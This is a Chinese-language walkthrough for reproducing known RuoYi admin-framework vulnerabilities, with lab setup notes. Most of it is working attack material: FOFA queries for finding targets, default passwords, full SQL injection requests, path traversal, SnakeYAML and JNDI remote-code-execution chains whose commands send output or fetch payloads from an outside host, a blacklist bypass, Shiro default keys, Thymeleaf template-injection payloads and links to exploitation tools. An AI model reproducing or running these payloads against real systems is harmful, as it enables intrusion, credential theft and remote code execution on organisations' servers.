若依nday漏洞复现
若依nday漏洞复现
若依管理系统简介
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。
若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。
配合ruoyi的服务
alibaba druid
alibaba nacos
spring
redis
mysql
minio
fastjson
shiro
swagger-ui.html
mybatis
若依历史版本下载:
https://gitee.com/y_project/RuoYi/tags
环境搭建:
Windows生产环境
RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。
(选择下载使用的ruoyi V4.5)
2.安装IDEA
3.配置Maven
4.安装Mysql
使用本地数据库(mysql)创建数据库ry

运行下载源码中的sql


修改若依配置文件中的MySQL数据库的账号密码。

使用idea启动若依项目即可,若依服务默认在本地的80端口。

问题解决:
若依启动失败Cause: java.sql.SQLSyntaxErrorException: Table ‘ry.sys_config‘ doesn‘t exist
这个错误表明无法找到名为 “ry.sys_config” 的数据表
找到若依项目下的sql代码:

将两个代码中的内容全部都复制,打开本地的navicat,找到ry表下的新建查询,把两段sql内容全部复制进去,再次运行就没问题了


出现上述图片中的内容代表启动成功,访问127.0.0.1:80即可访问若依框架web界面
linux生产环境
-
文件路径更改为linux的文件上传路径(任意)

-
使用Maven插件打包为jar

- ruoyi-admin.jar移至linux环境

- 使用命令java -jar ruoyi-admin.jar前台运行程序,或者使用命令 nohup java -jar ruoyi-admin.jar >log.txt 2>&1 & 后台运行
- 访问地址:80端口即可。
运行页面如下:(老版本)

若依框架特征:
新版本的若依系统的cookie值是Admin-Token值且是JWT编码的,右边的是老版本的,就是jsessionid值

/prod-api接口,其实看若依系统多的师傅们都这到这个接口就是若依框架的常见的一个关键字接口

druid常见访问路径:
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html
若依系统最经典的加载界面

blade登录后台网站特征

若依图标:

空间引擎搜索:
FOFA
FOFA搜索引擎检索若依漏洞:
下面这个绿色的小草就是若依的icon图标,然后就可以拿这个直接去FOFA检索了

FOFA检索语法如下:
(icon_hash="-1231872293" || icon_hash="706913071")
鹰图
鹰图的检索语法如下:
web.body="若依后台管理系统"

若依nday复现:
漏洞一:弱口令漏洞
用户:admin ruoyi druid
密码:123456 admin druid admin123 admin888
碰到的若依弱口令都是admin:admin123、ry:admin123这两套账号密码

漏洞二:SQL注入漏洞
(注意:后阶段所有操作都需要修改登录后的JSESSIONID值)
都是POST请求方式
**注入点一::**在/system/role/list接口的params[dataScope]参数
进入后台后,拦截角色管理页面的请求包

POC:
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

错误注入查询用户:
¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select user()),1,32),0x7e))

- 空参构造包发包

第二个sql注入点:角色编辑接口

POC:
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

第三个sql注入点POC:
角色导出处:

POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

RuoYi4.7.5版本后台sql注入
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
POC:
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));

若依后台任意文件读取(CNVD-2021-01931)
漏洞简介
若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1
漏洞复现
POC:
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini

若依后台定时任务RCE( Snake Yaml反序列化)
漏洞简介
由于若依后台计划任务处,对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。影响版本:RuoYi<4.6.2
-
通常只要引用了
Snakeyaml包的几乎都可进行反序列化 -
可查看代码是否调用 new Yaml();
(rouyi-common-pom.xml)

下载yaml反序列化payload工具
-
该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
-
下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令

- 地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
- 除此之外,我们需要使用
$()命令替换,用于命令回显,因此我们改写一下命令执行函数。
漏洞复现
下载payload:https://github.com/artsploit/yaml-payload
下载完成之后我们修改一下 AwesomeScriptEngineFactory.java 这个文件

eg: curl http://192.168.91.129:7000?CMDEcho=$(whoami)
地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
除此之外,我们需要使用$()命令替换,用于命令回显,因此我们改写一下命令执行函数。
改写方法如下:
String[] cmd = {
"/bin/bash",
"-c",
"curl http://192.168.91.129:7000?echo=$(whoami)"
};
Runtime.getRuntime().exec(cmd);
然后切换到yaml-payload-master目录
编写yaml-payload.yml文件(如果没有自己创建)

(此处IP替换为VPS或需要反弹shell的ip和端口)
然后在该目录下执行以下命令进行编译(java环境使用的是1.8)
javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件
jar -cvf yaml-payload.jar -C src/ . //打包成jar包
然后就会生成一个 yaml-payload.jar的jar包
直接在yaml-payload-master目录下使用python起一个http服务。
python3 -m http.server 5555
然后进入若依后台,添加一个计划任务。
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.91.129:5555/yaml-payload/yaml-payload.jar"]]]]')
cron表达式:
0/10 * * * * ?
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间
配置好之后,并不会启动定时任务

计划任务启动之后,即可执行命令calc(弹出计算器)


版本4.6.2<=Ruoyi<4.7.2
这个版本采用了黑名单限制调用字符串
- 定时任务屏蔽ldap远程调用
- 定时任务屏蔽http(s)远程调用
- 定时任务屏蔽rmi远程调用

ypass
咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式
例如:
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“h’t’t’p’://127.0.0.1:88/yaml-payload.jar”]]]]’)
加引号


源代码中绕过
版本4.6.2<=Ruoyi<4.7.2
这个版本采用了黑名单限制调用字符串
- 定时任务屏蔽ldap远程调用
- 定时任务屏蔽http(s)远程调用
- 定时任务屏蔽rmi远程调用



- ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
直接在代码中将这段if语句中的黑名单过滤语句注释掉即可绕过。
若依后台定时任务RCE(JNDI注入) 若依版本:4.2
简介
- 通过JNDI远程加载恶意类
- 这次我们使用windows开发环境进行测试
- 其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)
| JDK6 | JDK7 | JDK8 | JDK11 | |
|---|---|---|---|---|
| RMI不可用 | 6u132 | 7u122 | 8u113 | 无 |
| LDAP不可用 | 6u221 | 7u201 | 8u119 | 11.0.1 |
编写恶意类并进行编译:(这里以弹出计算机举例)
- javac Calc.java
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
- 将Calc.class文件通过python服务暴露python3 -m http.server 5555

- 使用
marshalsec工具启动一个RMI服务,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入
-
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.91.129:5555/#Calc" 8888

-
添加一个定时任务通过
lookup函数加载远程类
-
目标字符串:
org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.91.129:8888/Calc’) -
cron表达式:
0/10 * * * * ?
-
-
点击执行任务,弹出计算器,测试成功。


若依后台定时任务RCE(LDAP注入)
-
启动
ldap服务 -
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.129:6000/#Calc" 8888添加一个定时任务通过
lookup函数加载远程类- 目标字符串:javax.naming.InitialContext.lookup(‘ldap://192.168.91.129:8888/#Calc’)
- cron表达式:0/10 * * * * ?


若依后台任意文件下载漏洞
漏洞简介
若依管理系统后台存在任意文件下载漏洞。影响版本:若依管理系统4.7.6及以下版本
该漏洞是由于在RuoYi低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。
漏洞复现
漏洞利用前提:登录进后台。
首先提交一个定时任务。
POC:
POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 186
Connection: close
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=dae85c6a-bef0-48b5-b3d6-34fab06aab14
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=

通过浏览器直接get请求以下地址即可,下载任意文件
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip

Shiro反序列化(RuoYi<V-4.6.2)
- 该漏洞原理简单来说就是
Shiro将用户认证信息存储到remeberme字段中,后端读取该字段是将该字段在服务器反序列化并通过可利用的gadget实现RCE漏洞。虽然shiro使用了AES加密remeberme字段信息,但是由于shiro-1.2.4版本在依赖jar中硬编码该密钥,因此使用shiro-1.2.4版本的系统则可以通过该密钥解密remeberme字段数据,在remeberme字段中写入恶意的类,让系统在后端反序列化过程中执行,这就是shiro550漏洞的原理。
而ruoyi使用的shiro的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用ruoyi开发框架时并未更改ruoyi代码中默认的密钥,这同样会导致shiro反序列化漏洞。
漏洞复现
工具下载:https://github.com/SummerSec/ShiroAttack2
- 使用命令java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar启动工具
- 初步目标探测

- RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。
- 获取利用连,可爆破可指定
- RuoYi-4.2可用利用链为CommonsBeanutilString 这条链

- 发现利用链后可执行执行命令

RuoYi各版本的AES默认密钥
| RuoYi 版本号 | 对象版本的默认AES密钥 |
|---|---|
| 4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== |
| 3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== |
- 4.2版本及以上需要使用GCM模式
- RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。

SSTI(模板注入)漏洞 (仅适用V-4.7.1)
-
RuoYi的
ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java
和
ruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java下存在可控的return字段,且由于RuoYi使用的是
thymeleaf视图渲染组件,因此可进行SSTI模板注入。 -
其中可注入的接口包 括
/getNames、
/getKeys、
/getValue,
/localrefresh/task接口满足条件。

PostMapping注解控制,会在view中进行解析(或者GetMapping)。return值可控(或者url可控
-
可以通过在http://localhost/monitor/cache视图下点击按钮抓包,也可直接构包(该接口需要有效cookie)
-
构建
fragment参数payload,由于系统未对fragment参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式,使用’${}注入执行表达式,T()访问java类和静态访问。因此构建payload: -
${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}
-
由于thymeleaf高版本对T()进行了一些限制,不过可通过在
T和(之间增加空格的办法进行绕过。 -
${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)} 增加空格
漏洞复现:
接口/monitor/cache/getName
- 构包,接口 /monitor/cache/getName (需要有效的身份Cookie)
- 注入
cacheName不能为空
Boday payload:
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
构建包POC:
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}

- 四个接口的攻击方式一致,payload一致
接口/monitor/cache/getKeys
POST /monitor/cache/getKeys HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/monitor/cache/getKeys
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}

接口/monitor/cache/getValue

接口/demo/form/localrefresh/task

- 在RuoYi-4.7.2版本中,使用了
thymeleaf版本3.0.14.RELEASE已无法再进行注入。
若依漏洞综合利用工具:
若依漏洞利用工具1:https://github.com/thelostworldFree/Ruoyi-All
若依漏洞利用工具2:链接:https://pan.baidu.com/s/1yAUm6CP5uFpUwEqbYeXtCg?pwd=sazx
弱口令+历史漏洞结合
下面这个网站我是直接访问,然后页面自动显示了账号密码的,账号是admin,但是密码加密了,但是懂点语言相关的师傅们都知道,这个直接在源代码里面,把password改成别的或者直接删掉就可以回显密码了

若依和Spring-Boot结合漏洞
没有特征的若依漏洞

若依的常见的路径,然后进行一个路径的拼接
常见访问路径:
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html
拼接路径成功后,可以看到下面的页面回显的就是经典的spring-boot报错页面

扫描结果显示如果存在spring-boot框架漏洞,后面的就是直接去访问泄露的接口url了
- 感谢你赐予我前进的力量